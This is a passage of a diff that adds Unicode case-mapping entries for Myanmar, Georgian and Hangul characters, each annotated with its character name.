+ ["\u100D", "\u100D"], /* MYANMAR LETTER DDA */
+ ["\u100E", "\u100E"], /* MYANMAR LETTER DDHA */
+ ["\u100F", "\u100F"], /* MYANMAR LETTER NNA */
+ ["\u1010", "\u1010"], /* MYANMAR LETTER TA */
+ ["\u1011", "\u1011"], /* MYANMAR LETTER THA */
+ ["\u1012", "\u1012"], /* MYANMAR LETTER DA */
+ ["\u1013", "\u1013"], /* MYANMAR LETTER DHA */
+ ["\u1014", "\u1014"], /* MYANMAR LETTER NA */
+ ["\u1015", "\u1015"], /* MYANMAR LETTER PA */
+ ["\u1016", "\u1016"], /* MYANMAR LETTER PHA */
+ ["\u1017", "\u1017"], /* MYANMAR LETTER BA */
+ ["\u1018", "\u1018"], /* MYANMAR LETTER BHA */
+ ["\u1019", "\u1019"], /* MYANMAR LETTER MA */
+ ["\u101A", "\u101A"], /* MYANMAR LETTER YA */
+ ["\u101B", "\u101B"], /* MYANMAR LETTER RA */
+ ["\u101C", "\u101C"], /* MYANMAR LETTER LA */
+ ["\u101D", "\u101D"], /* MYANMAR LETTER WA */
+ ["\u101E", "\u101E"], /* MYANMAR LETTER SA */
+ ["\u101F", "\u101F"], /* MYANMAR LETTER HA */
+ ["\u1020", "\u1020"], /* MYANMAR LETTER LLA */
+ ["\u1021", "\u1021"], /* MYANMAR LETTER A */
+ ["\u1022", "\u1022"], /* MYANMAR LETTER SHAN A */
+ ["\u1023", "\u1023"], /* MYANMAR LETTER I */
+ ["\u1024", "\u1024"], /* MYANMAR LETTER II */
+ ["\u1025", "\u1025"], /* MYANMAR LETTER U */
+ ["\u1026", "\u1026"], /* MYANMAR LETTER UU */
+ ["\u1027", "\u1027"], /* MYANMAR LETTER E */
+ ["\u1028", "\u1028"], /* MYANMAR LETTER MON E */
+ ["\u1029", "\u1029"], /* MYANMAR LETTER O */
+ ["\u102A", "\u102A"], /* MYANMAR LETTER AU */
+ ["\u102B", "\u102B"], /* MYANMAR VOWEL SIGN TALL AA */
+ ["\u102C", "\u102C"], /* MYANMAR VOWEL SIGN AA */
+ ["\u102D", "\u102D"], /* MYANMAR VOWEL SIGN I */
+ ["\u102E", "\u102E"], /* MYANMAR VOWEL SIGN II */
+ ["\u102F", "\u102F"], /* MYANMAR VOWEL SIGN U */
+ ["\u1030", "\u1030"], /* MYANMAR VOWEL SIGN UU */
+ ["\u1031", "\u1031"], /* MYANMAR VOWEL SIGN E */
+ ["\u1032", "\u1032"], /* MYANMAR VOWEL SIGN AI */
+ ["\u1033", "\u1033"], /* MYANMAR VOWEL SIGN MON II */
+ ["\u1034", "\u1034"], /* MYANMAR VOWEL SIGN MON O */
+ ["\u1035", "\u1035"], /* MYANMAR VOWEL SIGN E ABOVE */
+ ["\u1036", "\u1036"], /* MYANMAR SIGN ANUSVARA */
+ ["\u1037", "\u1037"], /* MYANMAR SIGN DOT BELOW */
+ ["\u1038", "\u1038"], /* MYANMAR SIGN VISARGA */
+ ["\u1039", "\u1039"], /* MYANMAR SIGN VIRAMA */
+ ["\u103A", "\u103A"], /* MYANMAR SIGN ASAT */
+ ["\u103B", "\u103B"], /* MYANMAR CONSONANT SIGN MEDIAL YA */
+ ["\u103C", "\u103C"], /* MYANMAR CONSONANT SIGN MEDIAL RA */
+ ["\u103D", "\u103D"], /* MYANMAR CONSONANT SIGN MEDIAL WA */
+ ["\u103E", "\u103E"], /* MYANMAR CONSONANT SIGN MEDIAL HA */
+ ["\u103F", "\u103F"], /* MYANMAR LETTER GREAT SA */
+ ["\u1040", "\u1040"], /* MYANMAR DIGIT ZERO */
+ ["\u1041", "\u1041"], /* MYANMAR DIGIT ONE */
+ ["\u1042", "\u1042"], /* MYANMAR DIGIT TWO */
+ ["\u1043", "\u1043"], /* MYANMAR DIGIT THREE */
+ ["\u1044", "\u1044"], /* MYANMAR DIGIT FOUR */
+ ["\u1045", "\u1045"], /* MYANMAR DIGIT FIVE */
+ ["\u1046", "\u1046"], /* MYANMAR DIGIT SIX */
+ ["\u1047", "\u1047"], /* MYANMAR DIGIT SEVEN */
+ ["\u1048", "\u1048"], /* MYANMAR DIGIT EIGHT */
+ ["\u1049", "\u1049"], /* MYANMAR DIGIT NINE */
+ ["\u104A", "\u104A"], /* MYANMAR SIGN LITTLE SECTION */
+ ["\u104B", "\u104B"], /* MYANMAR SIGN SECTION */
+ ["\u104C", "\u104C"], /* MYANMAR SYMBOL LOCATIVE */
+ ["\u104D", "\u104D"], /* MYANMAR SYMBOL COMPLETED */
+ ["\u104E", "\u104E"], /* MYANMAR SYMBOL AFOREMENTIONED */
+ ["\u104F", "\u104F"], /* MYANMAR SYMBOL GENITIVE */
+ ["\u1050", "\u1050"], /* MYANMAR LETTER SHA */
+ ["\u1051", "\u1051"], /* MYANMAR LETTER SSA */
+ ["\u1052", "\u1052"], /* MYANMAR LETTER VOCALIC R */
+ ["\u1053", "\u1053"], /* MYANMAR LETTER VOCALIC RR */
+ ["\u1054", "\u1054"], /* MYANMAR LETTER VOCALIC L */
+ ["\u1055", "\u1055"], /* MYANMAR LETTER VOCALIC LL */
+ ["\u1056", "\u1056"], /* MYANMAR VOWEL SIGN VOCALIC R */
+ ["\u1057", "\u1057"], /* MYANMAR VOWEL SIGN VOCALIC RR */
+ ["\u1058", "\u1058"], /* MYANMAR VOWEL SIGN VOCALIC L */
+ ["\u1059", "\u1059"], /* MYANMAR VOWEL SIGN VOCALIC LL */
+ ["\u105A", "\u105A"], /* MYANMAR LETTER MON NGA */
+ ["\u105B", "\u105B"], /* MYANMAR LETTER MON JHA */
+ ["\u105C", "\u105C"], /* MYANMAR LETTER MON BBA */
+ ["\u105D", "\u105D"], /* MYANMAR LETTER MON BBE */
+ ["\u105E", "\u105E"], /* MYANMAR CONSONANT SIGN MON MEDIAL NA */
+ ["\u105F", "\u105F"], /* MYANMAR CONSONANT SIGN MON MEDIAL MA */
+ ["\u1060", "\u1060"], /* MYANMAR CONSONANT SIGN MON MEDIAL LA */
+ ["\u1061", "\u1061"], /* MYANMAR LETTER SGAW KAREN SHA */
+ ["\u1062", "\u1062"], /* MYANMAR VOWEL SIGN SGAW KAREN EU */
+ ["\u1063", "\u1063"], /* MYANMAR TONE MARK SGAW KAREN HATHI */
+ ["\u1064", "\u1064"], /* MYANMAR TONE MARK SGAW KAREN KE PHO */
+ ["\u1065", "\u1065"], /* MYANMAR LETTER WESTERN PWO KAREN THA */
+ ["\u1066", "\u1066"], /* MYANMAR LETTER WESTERN PWO KAREN PWA */
+ ["\u1067", "\u1067"], /* MYANMAR VOWEL SIGN WESTERN PWO KAREN EU */
+ ["\u1068", "\u1068"], /* MYANMAR VOWEL SIGN WESTERN PWO KAREN UE */
+ ["\u1069", "\u1069"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-1 */
+ ["\u106A", "\u106A"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-2 */
+ ["\u106B", "\u106B"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-3 */
+ ["\u106C", "\u106C"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-4 */
+ ["\u106D", "\u106D"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-5 */
+ ["\u106E", "\u106E"], /* MYANMAR LETTER EASTERN PWO KAREN NNA */
+ ["\u106F", "\u106F"], /* MYANMAR LETTER EASTERN PWO KAREN YWA */
+ ["\u1070", "\u1070"], /* MYANMAR LETTER EASTERN PWO KAREN GHWA */
+ ["\u1071", "\u1071"], /* MYANMAR VOWEL SIGN GEBA KAREN I */
+ ["\u1072", "\u1072"], /* MYANMAR VOWEL SIGN KAYAH OE */
+ ["\u1073", "\u1073"], /* MYANMAR VOWEL SIGN KAYAH U */
+ ["\u1074", "\u1074"], /* MYANMAR VOWEL SIGN KAYAH EE */
+ ["\u1075", "\u1075"], /* MYANMAR LETTER SHAN KA */
+ ["\u1076", "\u1076"], /* MYANMAR LETTER SHAN KHA */
+ ["\u1077", "\u1077"], /* MYANMAR LETTER SHAN GA */
+ ["\u1078", "\u1078"], /* MYANMAR LETTER SHAN CA */
+ ["\u1079", "\u1079"], /* MYANMAR LETTER SHAN ZA */
+ ["\u107A", "\u107A"], /* MYANMAR LETTER SHAN NYA */
+ ["\u107B", "\u107B"], /* MYANMAR LETTER SHAN DA */
+ ["\u107C", "\u107C"], /* MYANMAR LETTER SHAN NA */
+ ["\u107D", "\u107D"], /* MYANMAR LETTER SHAN PHA */
+ ["\u107E", "\u107E"], /* MYANMAR LETTER SHAN FA */
+ ["\u107F", "\u107F"], /* MYANMAR LETTER SHAN BA */
+ ["\u1080", "\u1080"], /* MYANMAR LETTER SHAN THA */
+ ["\u1081", "\u1081"], /* MYANMAR LETTER SHAN HA */
+ ["\u1082", "\u1082"], /* MYANMAR CONSONANT SIGN SHAN MEDIAL WA */
+ ["\u1083", "\u1083"], /* MYANMAR VOWEL SIGN SHAN AA */
+ ["\u1084", "\u1084"], /* MYANMAR VOWEL SIGN SHAN E */
+ ["\u1085", "\u1085"], /* MYANMAR VOWEL SIGN SHAN E ABOVE */
+ ["\u1086", "\u1086"], /* MYANMAR VOWEL SIGN SHAN FINAL Y */
+ ["\u1087", "\u1087"], /* MYANMAR SIGN SHAN TONE-2 */
+ ["\u1088", "\u1088"], /* MYANMAR SIGN SHAN TONE-3 */
+ ["\u1089", "\u1089"], /* MYANMAR SIGN SHAN TONE-5 */
+ ["\u108A", "\u108A"], /* MYANMAR SIGN SHAN TONE-6 */
+ ["\u108B", "\u108B"], /* MYANMAR SIGN SHAN COUNCIL TONE-2 */
+ ["\u108C", "\u108C"], /* MYANMAR SIGN SHAN COUNCIL TONE-3 */
+ ["\u108D", "\u108D"], /* MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE */
+ ["\u108E", "\u108E"], /* MYANMAR LETTER RUMAI PALAUNG FA */
+ ["\u108F", "\u108F"], /* MYANMAR SIGN RUMAI PALAUNG TONE-5 */
+ ["\u1090", "\u1090"], /* MYANMAR SHAN DIGIT ZERO */
+ ["\u1091", "\u1091"], /* MYANMAR SHAN DIGIT ONE */
+ ["\u1092", "\u1092"], /* MYANMAR SHAN DIGIT TWO */
+ ["\u1093", "\u1093"], /* MYANMAR SHAN DIGIT THREE */
+ ["\u1094", "\u1094"], /* MYANMAR SHAN DIGIT FOUR */
+ ["\u1095", "\u1095"], /* MYANMAR SHAN DIGIT FIVE */
+ ["\u1096", "\u1096"], /* MYANMAR SHAN DIGIT SIX */
+ ["\u1097", "\u1097"], /* MYANMAR SHAN DIGIT SEVEN */
+ ["\u1098", "\u1098"], /* MYANMAR SHAN DIGIT EIGHT */
+ ["\u1099", "\u1099"], /* MYANMAR SHAN DIGIT NINE */
+ ["\u109A", "\u109A"], /* MYANMAR SIGN KHAMTI TONE-1 */
+ ["\u109B", "\u109B"], /* MYANMAR SIGN KHAMTI TONE-3 */
+ ["\u109C", "\u109C"], /* MYANMAR VOWEL SIGN AITON A */
+ ["\u109D", "\u109D"], /* MYANMAR VOWEL SIGN AITON AI */
+ ["\u109E", "\u109E"], /* MYANMAR SYMBOL SHAN ONE */
+ ["\u109F", "\u109F"], /* MYANMAR SYMBOL SHAN EXCLAMATION */
+ ["\u10A0", "\u2D00"], /* GEORGIAN CAPITAL LETTER AN */
+ ["\u10A1", "\u2D01"], /* GEORGIAN CAPITAL LETTER BAN */
+ ["\u10A2", "\u2D02"], /* GEORGIAN CAPITAL LETTER GAN */
+ ["\u10A3", "\u2D03"], /* GEORGIAN CAPITAL LETTER DON */
+ ["\u10A4", "\u2D04"], /* GEORGIAN CAPITAL LETTER EN */
+ ["\u10A5", "\u2D05"], /* GEORGIAN CAPITAL LETTER VIN */
+ ["\u10A6", "\u2D06"], /* GEORGIAN CAPITAL LETTER ZEN */
+ ["\u10A7", "\u2D07"], /* GEORGIAN CAPITAL LETTER TAN */
+ ["\u10A8", "\u2D08"], /* GEORGIAN CAPITAL LETTER IN */
+ ["\u10A9", "\u2D09"], /* GEORGIAN CAPITAL LETTER KAN */
+ ["\u10AA", "\u2D0A"], /* GEORGIAN CAPITAL LETTER LAS */
+ ["\u10AB", "\u2D0B"], /* GEORGIAN CAPITAL LETTER MAN */
+ ["\u10AC", "\u2D0C"], /* GEORGIAN CAPITAL LETTER NAR */
+ ["\u10AD", "\u2D0D"], /* GEORGIAN CAPITAL LETTER ON */
+ ["\u10AE", "\u2D0E"], /* GEORGIAN CAPITAL LETTER PAR */
+ ["\u10AF", "\u2D0F"], /* GEORGIAN CAPITAL LETTER ZHAR */
+ ["\u10B0", "\u2D10"], /* GEORGIAN CAPITAL LETTER RAE */
+ ["\u10B1", "\u2D11"], /* GEORGIAN CAPITAL LETTER SAN */
+ ["\u10B2", "\u2D12"], /* GEORGIAN CAPITAL LETTER TAR */
+ ["\u10B3", "\u2D13"], /* GEORGIAN CAPITAL LETTER UN */
+ ["\u10B4", "\u2D14"], /* GEORGIAN CAPITAL LETTER PHAR */
+ ["\u10B5", "\u2D15"], /* GEORGIAN CAPITAL LETTER KHAR */
+ ["\u10B6", "\u2D16"], /* GEORGIAN CAPITAL LETTER GHAN */
+ ["\u10B7", "\u2D17"], /* GEORGIAN CAPITAL LETTER QAR */
+ ["\u10B8", "\u2D18"], /* GEORGIAN CAPITAL LETTER SHIN */
+ ["\u10B9", "\u2D19"], /* GEORGIAN CAPITAL LETTER CHIN */
+ ["\u10BA", "\u2D1A"], /* GEORGIAN CAPITAL LETTER CAN */
+ ["\u10BB", "\u2D1B"], /* GEORGIAN CAPITAL LETTER JIL */
+ ["\u10BC", "\u2D1C"], /* GEORGIAN CAPITAL LETTER CIL */
+ ["\u10BD", "\u2D1D"], /* GEORGIAN CAPITAL LETTER CHAR */
+ ["\u10BE", "\u2D1E"], /* GEORGIAN CAPITAL LETTER XAN */
+ ["\u10BF", "\u2D1F"], /* GEORGIAN CAPITAL LETTER JHAN */
+ ["\u10C0", "\u2D20"], /* GEORGIAN CAPITAL LETTER HAE */
+ ["\u10C1", "\u2D21"], /* GEORGIAN CAPITAL LETTER HE */
+ ["\u10C2", "\u2D22"], /* GEORGIAN CAPITAL LETTER HIE */
+ ["\u10C3", "\u2D23"], /* GEORGIAN CAPITAL LETTER WE */
+ ["\u10C4", "\u2D24"], /* GEORGIAN CAPITAL LETTER HAR */
+ ["\u10C5", "\u2D25"], /* GEORGIAN CAPITAL LETTER HOE */
+ ["\u10C6", "\u10C6"],
+ ["\u10C7", "\u2D27"], /* GEORGIAN CAPITAL LETTER YN */
+ ["\u10C8", "\u10C8"],
+ ["\u10C9", "\u10C9"],
+ ["\u10CA", "\u10CA"],
+ ["\u10CB", "\u10CB"],
+ ["\u10CC", "\u10CC"],
+ ["\u10CD", "\u2D2D"], /* GEORGIAN CAPITAL LETTER AEN */
+ ["\u10CE", "\u10CE"],
+ ["\u10CF", "\u10CF"],
+ ["\u1C90", "\u10D0"], /* GEORGIAN LETTER AN (GEORGIAN SMALL LETTER AN) */
+ ["\u1C91", "\u10D1"], /* GEORGIAN LETTER BAN (GEORGIAN SMALL LETTER BAN) */
+ ["\u1C92", "\u10D2"], /* GEORGIAN LETTER GAN (GEORGIAN SMALL LETTER GAN) */
+ ["\u1C93", "\u10D3"], /* GEORGIAN LETTER DON (GEORGIAN SMALL LETTER DON) */
+ ["\u1C94", "\u10D4"], /* GEORGIAN LETTER EN (GEORGIAN SMALL LETTER EN) */
+ ["\u1C95", "\u10D5"], /* GEORGIAN LETTER VIN (GEORGIAN SMALL LETTER VIN) */
+ ["\u1C96", "\u10D6"], /* GEORGIAN LETTER ZEN (GEORGIAN SMALL LETTER ZEN) */
+ ["\u1C97", "\u10D7"], /* GEORGIAN LETTER TAN (GEORGIAN SMALL LETTER TAN) */
+ ["\u1C98", "\u10D8"], /* GEORGIAN LETTER IN (GEORGIAN SMALL LETTER IN) */
+ ["\u1C99", "\u10D9"], /* GEORGIAN LETTER KAN (GEORGIAN SMALL LETTER KAN) */
+ ["\u1C9A", "\u10DA"], /* GEORGIAN LETTER LAS (GEORGIAN SMALL LETTER LAS) */
+ ["\u1C9B", "\u10DB"], /* GEORGIAN LETTER MAN (GEORGIAN SMALL LETTER MAN) */
+ ["\u1C9C", "\u10DC"], /* GEORGIAN LETTER NAR (GEORGIAN SMALL LETTER NAR) */
+ ["\u1C9D", "\u10DD"], /* GEORGIAN LETTER ON (GEORGIAN SMALL LETTER ON) */
+ ["\u1C9E", "\u10DE"], /* GEORGIAN LETTER PAR (GEORGIAN SMALL LETTER PAR) */
+ ["\u1C9F", "\u10DF"], /* GEORGIAN LETTER ZHAR (GEORGIAN SMALL LETTER ZHAR) */
+ ["\u1CA0", "\u10E0"], /* GEORGIAN LETTER RAE (GEORGIAN SMALL LETTER RAE) */
+ ["\u1CA1", "\u10E1"], /* GEORGIAN LETTER SAN (GEORGIAN SMALL LETTER SAN) */
+ ["\u1CA2", "\u10E2"], /* GEORGIAN LETTER TAR (GEORGIAN SMALL LETTER TAR) */
+ ["\u1CA3", "\u10E3"], /* GEORGIAN LETTER UN (GEORGIAN SMALL LETTER UN) */
+ ["\u1CA4", "\u10E4"], /* GEORGIAN LETTER PHAR (GEORGIAN SMALL LETTER PHAR) */
+ ["\u1CA5", "\u10E5"], /* GEORGIAN LETTER KHAR (GEORGIAN SMALL LETTER KHAR) */
+ ["\u1CA6", "\u10E6"], /* GEORGIAN LETTER GHAN (GEORGIAN SMALL LETTER GHAN) */
+ ["\u1CA7", "\u10E7"], /* GEORGIAN LETTER QAR (GEORGIAN SMALL LETTER QAR) */
+ ["\u1CA8", "\u10E8"], /* GEORGIAN LETTER SHIN (GEORGIAN SMALL LETTER SHIN) */
+ ["\u1CA9", "\u10E9"], /* GEORGIAN LETTER CHIN (GEORGIAN SMALL LETTER CHIN) */
+ ["\u1CAA", "\u10EA"], /* GEORGIAN LETTER CAN (GEORGIAN SMALL LETTER CAN) */
+ ["\u1CAB", "\u10EB"], /* GEORGIAN LETTER JIL (GEORGIAN SMALL LETTER JIL) */
+ ["\u1CAC", "\u10EC"], /* GEORGIAN LETTER CIL (GEORGIAN SMALL LETTER CIL) */
+ ["\u1CAD", "\u10ED"], /* GEORGIAN LETTER CHAR (GEORGIAN SMALL LETTER CHAR) */
+ ["\u1CAE", "\u10EE"], /* GEORGIAN LETTER XAN (GEORGIAN SMALL LETTER XAN) */
+ ["\u1CAF", "\u10EF"], /* GEORGIAN LETTER JHAN (GEORGIAN SMALL LETTER JHAN) */
+ ["\u1CB0", "\u10F0"], /* GEORGIAN LETTER HAE (GEORGIAN SMALL LETTER HAE) */
+ ["\u1CB1", "\u10F1"], /* GEORGIAN LETTER HE (GEORGIAN SMALL LETTER HE) */
+ ["\u1CB2", "\u10F2"], /* GEORGIAN LETTER HIE (GEORGIAN SMALL LETTER HIE) */
+ ["\u1CB3", "\u10F3"], /* GEORGIAN LETTER WE (GEORGIAN SMALL LETTER WE) */
+ ["\u1CB4", "\u10F4"], /* GEORGIAN LETTER HAR (GEORGIAN SMALL LETTER HAR) */
+ ["\u1CB5", "\u10F5"], /* GEORGIAN LETTER HOE (GEORGIAN SMALL LETTER HOE) */
+ ["\u1CB6", "\u10F6"], /* GEORGIAN LETTER FI (GEORGIAN SMALL LETTER FI) */
+ ["\u1CB7", "\u10F7"], /* GEORGIAN LETTER YN */
+ ["\u1CB8", "\u10F8"], /* GEORGIAN LETTER ELIFI */
+ ["\u1CB9", "\u10F9"], /* GEORGIAN LETTER TURNED GAN */
+ ["\u1CBA", "\u10FA"], /* GEORGIAN LETTER AIN */
+ ["\u10FB", "\u10FB"], /* GEORGIAN PARAGRAPH SEPARATOR */
+ ["\u10FC", "\u10FC"], /* MODIFIER LETTER GEORGIAN NAR */
+ ["\u1CBD", "\u10FD"], /* GEORGIAN LETTER AEN */
+ ["\u1CBE", "\u10FE"], /* GEORGIAN LETTER HARD SIGN */
+ ["\u1CBF", "\u10FF"], /* GEORGIAN LETTER LABIAL SIGN */
+ ["\u1100", "\u1100"], /* HANGUL CHOSEONG KIYEOK */
+ ["\u1101", "\u1101"], /* HANGUL CHOSEONG SSANGKIYEOK */
+ ["\u1102", "\u1102"], /* HANGUL CHOSEONG NIEUN */
+ ["\u1103", "\u1103"], /* HANGUL CHOSEONG TIKEUT */
+ ["\u1104", "\u1104"], /* HANGUL CHOSEONG SSANGTIKEUT */
+ ["\u1105", "\u1105"], /* HANGUL CHOSEONG RIEUL */
+ ["\u1106", "\u1106"], /* HANGUL CHOSEONG MIEUM */
+ ["\u1107", "\u1107"], /* HANGUL CHOSEONG PIEUP */
+ ["\u1108", "\u1108"], /* HANGUL CHOSEONG SSANGPIEUP */
+ ["\u1109", "\u1109"], /* HANGUL CHOSEONG SIOS */
+ ["\u110A", "\u110A"], /* HANGUL CHOSEONG SSANGSIOS */
+ ["\u110B", "\u110B"], /* HANGUL CHOSEONG IEUNG */
+ ["\u110C", "\u110C"], /* HANGUL CHOSEONG CIEUC */
+ ["\u110D", "\u110D"], /* HANGUL CHOSEONG SSANGCIEUC */
+ ["\u110E", "\u110E"], /* HANGUL CHOSEONG CHIEUCH */
+ ["\u110F", "\u110F"], /* HANGUL CHOSEONG KHIEUKH */
+ ["\u1110", "\u1110"], /* HANGUL CHOSEONG THIEUTH */
+ ["\u1111", "\u1111"], /* HANGUL CHOSEONG PHIEUPH */
+ ["\u1112", "\u1112"], /* HANGUL CHOSEONG HIEUH */
+ ["\u1113", "\u1113"], /* HANGUL CHOSEONG NIEUN-KIYEOK */
+ ["\u1114", "\u1114"], /* HANGUL CHOSEONG SSANGNIEUN */
+ ["\u1115", "\u1115"], /* HANGUL CHOSEONG NIEUN-TIKEUT */
+ ["\u1116", "\u1116"], /* HANGUL CHOSEONG NIEUN-PIEUP */
+ ["\u1117", "\u1117"], /* HANGUL CHOSEONG TIKEUT-KIYEOK */
+ ["\u1118", "\u1118"], /* HANGUL CHOSEONG RIEUL-NIEUN */
+ ["\u1119", "\u1119"], /* HANGUL CHOSEONG SSANGRIEUL */
+ ["\u111A", "\u111A"], /* HANGUL CHOSEONG RIEUL-HIEUH */
+ ["\u111B", "\u111B"], /* HANGUL CHOSEONG KAPYEOUNRIEUL */
+ ["\u111C", "\u111C"], /* HANGUL CHOSEONG MIEUM-PIEUP */
+ ["\u111D", "\u111D"], /* HANGUL CHOSEONG KAPYEOUNMIEUM */
+ ["\u111E", "\u111E"], /* HANGUL CHOSEONG PIEUP-KIYEOK */
+ ["\u111F", "\u111F"], /* HANGUL CHOSEONG PIEUP-NIEUN */
+ ["\u1120", "\u1120"], /* HANGUL CHOSEONG PIEUP-TIKEUT */
+ ["\u1121", "\u1121"], /* HANGUL CHOSEONG PIEUP-SIOS */
+ ["\u1122", "\u1122"], /* HANGUL CHOSEONG PIEUP-SIOS-KIYEOK */
+ ["\u1123", "\u1123"], /* HANGUL CHOSEONG PIEUP-SIOS-TIKEUT */
+ ["\u1124", "\u1124"], /* HANGUL CHOSEONG PIEUP-SIOS-PIEUP */
+ ["\u1125", "\u1125"], /* HANGUL CHOSEONG PIEUP-SSANGSIOS */
+ ["\u1126", "\u1126"], /* HANGUL CHOSEONG PIEUP-SIOS-CIEUC */
+ ["\u1127", "\u1127"], /* HANGUL CHOSEONG PIEUP-CIEUC */
+ ["\u1128", "\u1128"], /* HANGUL CHOSEONG PIEUP-CHIEUCH */
+ ["\u1129", "\u1129"], /* HANGUL CHOSEONG PIEUP-THIEUTH */
+ ["\u112A", "\u112A"], /* HANGUL CHOSEONG PIEUP-PHIEUPH */
+ ["\u112B", "\u112B"], /* HANGUL CHOSEONG KAPYEOUNPIEUP */
+ ["\u112C", "\u112C"], /* HANGUL CHOSEONG KAPYEOUNSSANGPIEUP */
+ ["\u112D", "\u112D"], /* HANGUL CHOSEONG SIOS-KIYEOK */
+ ["\u112E", "\u112E"], /* HANGUL CHOSEONG SIOS-NIEUN */
+ ["\u112F", "\u112F"], /* HANGUL CHOSEONG SIOS-TIKEUT */
+ ["\u1130", "\u1130"], /* HANGUL CHOSEONG SIOS-RIEUL */
+ ["\u1131", "\u1131"], /* HANGUL CHOSEONG SIOS-MIEUM */
+ ["\u1132", "\u1132"], /* HANGUL CHOSEONG SIOS-PIEUP */
+ ["\u1133", "\u1133"], /* HANGUL CHOSEONG SIOS-PIEUP-KIYEOK */
+ ["\u1134", "\u1134"], /* HANGUL CHOSEONG SIOS-SSANGSIOS */
+ ["\u1135", "\u1135"], /* HANGUL CHOSEONG SIOS-IEUNG */
+ ["\u1136", "\u1136"], /* HANGUL CHOSEONG SIOS-CIEUC */
+ ["\u1137", "\u1137"], /* HANGUL CHOSEONG SIOS-CHIEUCH */
+ ["\u1138", "\u1138"], /* HANGUL CHOSEONG SIOS-KHIEUKH */
+ ["\u1139", "\u1139"], /* HANGUL CHOSEONG SIOS-THIEUTH */
+ ["\u113A", "\u113A"], /* HANGUL CHOSEONG SIOS-PHIEUPH */
+ ["\u113B", "\u113B"], /* HANGUL CHOSEONG SIOS-HIEUH */
+ ["\u113C", "\u113C"], /* HANGUL CHOSEONG CHITUEUMSIOS */
+ ["\u113D", "\u113D"], /* HANGUL CHOSEONG CHITUEUMSSANGSIOS */
+ ["\u113E", "\u113E"], /* HANGUL CHOSEONG CEONGCHIEUMSIOS */
+ ["\u113F", "\u113F"], /* HANGUL CHOSEONG CEONGCHIEUMSSANGSIOS */
+ ["\u1140", "\u1140"], /* HANGUL CHOSEONG PANSIOS */
+ ["\u1141", "\u1141"], /* HANGUL CHOSEONG IEUNG-KIYEOK */
+ ["\u1142", "\u1142"], /* HANGUL CHOSEONG IEUNG-TIKEUT */
+ ["\u1143", "\u1143"], /* HANGUL CHOSEONG IEUNG-MIEUM */
+ ["\u1144", "\u1144"], /* HANGUL CHOSEONG IEUNG-PIEUP */
+ ["\u1145", "\u1145"], /* HANGUL CHOSEONG IEUNG-SIOS */
+ ["\u1146", "\u1146"], /* HANGUL CHOSEONG IEUNG-PANSIOS */
+ ["\u1147", "\u1147"], /* HANGUL CHOSEONG SSANGIEUNG */
+ ["\u1148", "\u1148"], /* HANGUL CHOSEONG IEUNG-CIEUC */
+ ["\u1149", "\u1149"], /* HANGUL CHOSEONG IEUNG-CHIEUCH */
+ ["\u114A", "\u114A"], /* HANGUL CHOSEONG IEUNG-THIEUTH */
+ ["\u114B", "\u114B"], /* HANGUL CHOSEONG IEUNG-PHIEUPH */
+ ["\u114C", "\u114C"], /* HANGUL CHOSEONG YESIEUNG */
+ ["\u114D", "\u114D"], /* HANGUL CHOSEONG CIEUC-IEUNG */
+ ["\u114E", "\u114E"], /* HANGUL CHOSEONG CHITUEUMCIEUC */
+ ["\u114F", "\u114F"], /* HANGUL CHOSEONG CHITUEUMSSANGCIEUC */
+ ["\u1150", "\u1150"], /* HANGUL CHOSEONG CEONGCHIEUMCIEUC */
+ ["\u1151", "\u1151"], /* HANGUL CHOSEONG CEONGCHIEUMSSANGCIEUC */
+ ["\u1152", "\u1152"], /* HANGUL CHOSEONG CHIEUCH-KHIEUKH */
+ ["\u1153", "\u1153"], /* HANGUL CHOSEONG CHIEUCH-HIEUH */
+ ["\u1154", "\u1154"], /* HANGUL CHOSEONG CHITUEUMCHIEUCH */
+ ["\u1155", "\u1155"], /* HANGUL CHOSEONG CEONGCHIEUMCHIEUCH */
+ ["\u1156", "\u1156"], /* HANGUL CHOSEONG PHIEUPH-PIEUP */
+ ["\u1157", "\u1157"], /* HANGUL CHOSEONG KAPYEOUNPHIEUPH */
+ ["\u1158", "\u1158"], /* HANGUL CHOSEONG SSANGHIEUH */
+ ["\u1159", "\u1159"], /* HANGUL CHOSEONG YEORINHIEUH */
+ ["\u115A", "\u115A"], /* HANGUL CHOSEONG KIYEOK-TIKEUT */
+ ["\u115B", "\u115B"], /* HANGUL CHOSEONG NIEUN-SIOS */
+ ["\u115C", "\u115C"], /* HANGUL CHOSEONG NIEUN-CIEUC */
+ ["\u115D", "\u115D"], /* HANGUL CHOSEONG NIEUN-HIEUH */
+ ["\u115E", "\u115E"], /* HANGUL CHOSEONG TIKEUT-RIEUL */
+ ["\u115F", "\u115F"], /* HANGUL CHOSEONG FILLER */
+ ["\u1160", "\u1160"], /* HANGUL JUNGSEONG FILLER */
+ ["\u1161", "\u1161"], /* HANGUL JUNGSEONG A */
+ ["\u1162", "\u1162"], /* HANGUL JUNGSEONG AE */
+ ["\u1163", "\u1163"], /* HANGUL JUNGSEONG YA */
+ ["\u1164", "\u1164"], /* HANGUL JUNGSEONG YAE */
+ ["\u1165", "\u1165"], /* HANGUL JUNGSEONG EO */
+ ["\u1166", "\u1166"], /* HANGUL JUNGSEONG E */
+ ["\u1167", "\u1167"], /* HANGUL JUNGSEONG YEO */
+ ["\u1168", "\u1168"], /* HANGUL JUNGSEONG YE */
+ ["\u1169", "\u1169"], /* HANGUL JUNGSEONG O */
+ ["\u116A", "\u116A"], /* HANGUL JUNGSEONG WA */
+ ["\u116B", "\u116B"], /* HANGUL JUNGSEONG WAE */
+ ["\u116C", "\u116C"], /* HANGUL JUNGSEONG OE */
+ ["\u116D", "\u116D"], /* HANGUL JUNGSEONG YO */
+ ["\u116E", "\u116E"], /* HANGUL JUNGSEONG U */
+ ["\u116F", "\u116F"], /* HANGUL JUNGSEONG WEO */
+ ["\u1170", "\u1170"], /* HANGUL JUNGSEONG WE */
+ ["\u1171", "\u1171"], /* HANGUL JUNGSEONG WI */
+ ["\u1172", "\u1172"], /* HANGUL JUNGSEONG YU */
+ ["\u1173", "\u1173"], /* HANGUL JUNGSEONG EU */
+ ["\u1174", "\u1174"], /* HANGUL JUNGSEONG YI */
+ ["\u1175", "\u1175"], /* HANGUL JUNGSEONG I */
+ ["\u1176", "\u1176"], /* HANGUL JUNGSEONG A-O */
